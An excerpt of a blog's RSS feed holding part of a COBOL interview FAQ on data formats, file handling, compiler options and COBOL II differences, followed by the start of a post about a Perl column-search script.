<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">129.How is sign stored in a COMP field ? </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. In the most significant bit. Bit is on if -ve, off if +ve.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">130.What is the difference between COMP &amp; COMP-3 ?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. COMP is a binary storage format while COMP-3 is packed decimal format.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">131.What is COMP-1? COMP-2?</span></p>
<ol type="A">
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l37 level1 lfo57; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">COMP-1 &#8211; Single precision floating point. Uses 4 bytes. </span></li>
</ol>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">COMP-2 &#8211; Double precision floating point. Uses 8 bytes.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">132.How do you define a variable of COMP-1? COMP-2?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. No picture clause to be given. Example 01 WS-VAR USAGE COMP-1.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">133.How many bytes does a S9(7) COMP-3 field occupy ?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Will take 4 bytes. Sign is stored as hex value in the last nibble.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">General formula is INT((n/2) + 1)), where n=7 in this example.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">134.How many bytes does a S9(7) SIGN TRAILING SEPARATE field occupy ?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Will occupy 8 bytes (one extra byte for sign).</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">135.What is the maximum size of a 01 level item in COBOL I? in COBOL II?</span></p>
<ol type="A">
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l15 level1 lfo60; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">In COBOL II: 16777215 </span></li>
</ol>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">136.What is COMP SYNC?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Causes the item to be aligned on natural boundaries. Can be SYNCHRONIZED LEFT or RIGHT.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">For binary data items, the address resolution is faster if they are located at word boundaries in the memory. For example, on main frame the memory word size is 4 bytes. This means that each word will start from an address divisible by 4. If my first variable is x(3) and next one is s9(4) comp, then if you do not specify the SYNC clause, S9(4) COMP will start from byte 3 ( assuming that it starts from 0 ). If you specify SYNC, then the binary data item will start from address 4. You might see some wastage of memory, but the access to this comp field is faster. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">137.How do you reference the following file formats from COBOL programs?</span></p>
<ol type="1">
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l31 level1 lfo63; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">Fixed Block File &#8211; Use ORGANISATION IS SEQUENTIAL. Use RECORDING MODE IS F, BLOCK CONTAINS 0. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l31 level1 lfo63; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">Fixed Unblocked &#8211; Use ORGANISATION IS SEQUENTIAL. Use RECORDING MODE IS F, do not use BLOCK CONTAINS. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l31 level1 lfo63; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">Variable Block File &#8211; Use ORGANISATION IS SEQUENTIAL. Use RECORDING MODE IS V, BLOCK CONTAINS 0. Do not code the 4 bytes for record length in FD. i.e. JCL record length will be max record length in program + 4 </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l31 level1 lfo63; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">Variable Unblocked &#8211; Use ORGANISATION IS SEQUENTIAL. Use RECORDING MODE IS V, do not use BLOCK CONTAINS. Do not code 4 bytes for record length in FD ie JCL rec length will be max rec length in pgm + 4. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l31 level1 lfo63; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">ESDS VSAM file &#8211; Use ORGANISATION IS SEQUENTIAL. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l31 level1 lfo63; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">KSDS VSAM file &#8211; Use ORGANISATION IS INDEXED, RECORD KEY IS, Alternate Record Key Is </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l31 level1 lfo63; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">RRDS File &#8211; Use ORGANISATION IS RELATIVE, RELATIVE KEY IS </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l31 level1 lfo63; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">Printer File &#8211; Use ORGANISATION IS SEQUENTIAL. Use RECORDING MODE IS F, BLOCK CONTAINS 0. (Use RECFM=FBA in JCL DCB). </span></li>
</ol>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">138.What are different file OPEN modes available in COBOL? In which modes are the files Opened to write.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Different Open modes for files are INPUT, OUTPUT, I-O and EXTEND. Of which Output and Extend modes are used to write new records into a file.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">139.In the JCL, how do you define the files referred to in a subroutine?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Supply the DD cards just as you would for files referred to in the main program.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">140.Can you REWRITE a record in an ESDS file? Can you DELETE a record from it?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Can rewrite(record length must be same), but not delete.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">141.What is file status 92? </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Logic error. e.g., a file is opened for input and an attempt is made to write to it.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">142.What is file status 39?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Mismatch in LRECL or BLOCKSIZE or RECFM between your COBOL pgm &amp; the JCL (or the dataset label). You will get file status 39 on an OPEN.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">143.What is Static, Dynamic linking ?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. In static linking, the called subroutine is link-edited into the calling program , while in dynamic linking, the subroutine &amp; the main program will exist as separate load modules. You choose static/dynamic linking by choosing either the DYNAM or NODYNAM link edit option. (Even if you choose NODYNAM, a CALL identifier (as opposed to a CALL literal), will translate to a DYNAMIC call).</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A statically called subroutine will not be in its initial state the next time it is called unless you explicitly use INITIAL or you do a CANCEL. A dynamically called routine will always be in its initial state.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">144.Explain NEXT and CONTINUE verbs for file handling.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A The Continue verb is used for a situation where there in no EOF condition. i.e. The records are to be accessed again and again in a file. Whereas in the next verb the indexed file is accessed sequentially, whence when index clause is accessed sequentially read next record command is used.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">145.What is AMODE(24), AMODE(31), RMODE(24) and RMODE(ANY)? (applicable to only MVS/ESA).</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. These are compile/link edit options. AMODE &#8211; Addressing mode. RMODE &#8211; Residency mode.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">AMODE(24) &#8211; 24 bit addressing. AMODE(31) &#8211; 31 bit addressing. AMODE(ANY) &#8211; Either 24 bit or 31 bit addressing depending on RMODE. RMODE(24) &#8211; Resides in virtual storage below 16 Meg line. Use this for 31 bit programs that call 24 bit programs. (OS/VS Cobol pgms use 24 bit addresses only). RMODE(ANY) &#8211; Can reside above or below 16 Meg line.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">146.What compiler option would you use for dynamic linking?</span></p>
<ol type="A">
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l3 level1 lfo66; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">DYNAM. </span></li>
</ol>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">147.What is SSRANGE, NOSSRANGE ?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. These are compiler options w.r.t subscript out of range checking. NOSSRANGE is the default and if chosen, no run time error will be flagged if your index or subscript goes out of the permissible range.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">148.How do you set a return code to the JCL from a COBOL program?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Move a value to RETURN-CODE register. RETURN-CODE should not be declared in your program.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">149.How can you submit a job from COBOL programs?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Write JCL cards to a dataset with </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">//xxxxxxx SYSOUT=(A,INTRDR) where &#8216;A&#8217; is output class, and dataset should be opened for output in the program. Define a 80 byte record layout for the file.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">150.What are the differences between OS VS COBOL and VS COBOL II?</span></p>
<ul type="disc">
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l2 level1 lfo69; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">OS/VS Cobol pgms can only run in 24 bit addressing mode, VS Cobol II pgms can run either in 24 bit or 31 bit addressing modes allowing program to address above 16 Meg main storage line. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l2 level1 lfo69; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">Report writer is supported only in OS/VS Cobol. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l2 level1 lfo69; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">USAGE IS POINTER is supported only in VS COBOL II. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l2 level1 lfo69; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">Reference modification eg: WS-VAR(1:2) is supported only in VS COBOL II. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l2 level1 lfo69; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">COBOL II introduces new features (EVALUATE, SET &#8230; TO TRUE, CALL &#8230; BY CONTEXT, etc) </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l2 level1 lfo69; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">Scope terminators are supported in COBOL II. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l2 level1 lfo69; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">OS/VS Cobol follows ANSI 74 stds while VS COBOL II follows ANSI 85 stds. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l2 level1 lfo69; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">Under CICS Calls between VS COBOL II programs are supported. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l2 level1 lfo69; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">COBOL II supports structured programming by using in-line PERFORM &#8217;s. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l2 level1 lfo69; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">COBOL II does not support old features (READY TRACE, REPORT-WRITER, ISAM, etc.). </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l2 level1 lfo69; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">In non-CICS environment, it is possible. In CICS, this is not possible. </span></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.dailyinfobyte.com/2009/03/25/cobol-faq/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Searching for a pattern as a string or regular expression</title>
		<link>http://www.dailyinfobyte.com/2009/03/23/searching-for-a-pattern-as-a-string-or-regular-expression/</link>
		<comments>http://www.dailyinfobyte.com/2009/03/23/searching-for-a-pattern-as-a-string-or-regular-expression/#comments</comments>
		<pubDate>Tue, 24 Mar 2009 03:10:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Technical]]></category>
		<category><![CDATA[coding]]></category>
		<category><![CDATA[coding tips]]></category>
		<category><![CDATA[Perl]]></category>
		<category><![CDATA[perl scripts]]></category>
		<category><![CDATA[Searching for a pattern as a string or regular expression]]></category>
		<category><![CDATA[technical FAQ]]></category>
		<category><![CDATA[technical tips]]></category>

		<guid isPermaLink="false">http://www.dailyinfobyte.com/?p=126</guid>
		<description><![CDATA[searchPatternInColumn pl.Ver1p1
 
1.  Introduction
           
          Searching for a pattern as a string or regular expression ( perl syntax ) in a file in the  specified column.
 
 
2.        Uses and Guidelines (Optional)
 
          usage: ./searchPatternInColumn.pl.Ver1p1 &#60;Input file&#62; &#60;delimiter&#62; &#60;Pattern file&#62;  &#60;columnNumber&#62;
 
 
·         Operating System                                   UNIX
·         Language/Tools used for development        Shell
 
3.    Code
 
#!/usr/bin/perl
#$Id: test.pl,v 2.0 2004/10/08 13:00:03 kumap Exp $
 
 
# Performs the same [...]]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal" style="margin: 0in 0in 0pt 27pt; line-height: normal; text-align: center;" align="center"><strong><span style="text-decoration: underline;"><span style="font-size: 14pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="font-size: 14pt; font-family: 'Verdana','sans-serif'; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">searchPatternInColumn pl.Ver1p1</span></span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 27pt; line-height: normal;"><strong><span style="font-size: 12pt; font-family: &quot;Verdana;"> </span></strong></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 0.75in; text-indent: -27pt; line-height: normal; mso-list: l0 level1 lfo1; tab-stops: list 39.0pt;"><strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: Verdana; mso-bidi-font-family: Verdana;"><span style="mso-list: Ignore;">1.<span style="font: 7pt &quot;Times New Roman&quot;;"> </span></span></span></strong><strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;"> </span>Introduction</span></strong></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 27pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">           </span></span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 27pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: Arial;"><span style="mso-spacerun: yes;">          </span>Searching for a pattern as a string or regular expression ( perl syntax ) in a file in the<span style="mso-spacerun: yes;">  </span>specified column.</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 27pt; line-height: normal;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"> </span></strong></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 27pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"> </span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; text-indent: -39pt; line-height: normal; mso-list: l0 level1 lfo1; tab-stops: list .75in; mso-outline-level: 1;"><strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: Verdana; mso-bidi-font-family: Verdana;"><span style="mso-list: Ignore;">2.<span style="font: 7pt &quot;Times New Roman&quot;;">        </span></span></span></strong><strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">Uses and Guidelines (Optional)</span></strong></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 27pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"> </span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 27pt; line-height: normal;"><span style="font-size: 10pt; color: navy; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: Arial;"><span style="mso-spacerun: yes;">          </span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: Arial;">usage: ./searchPatternInColumn.pl.Ver1p1 &lt;Input file&gt; &lt;delimiter&gt; &lt;Pattern file&gt;<span style="mso-spacerun: yes;">  </span>&lt;columnNumber&gt;</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 27pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"> </span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 27pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"> </span></p>
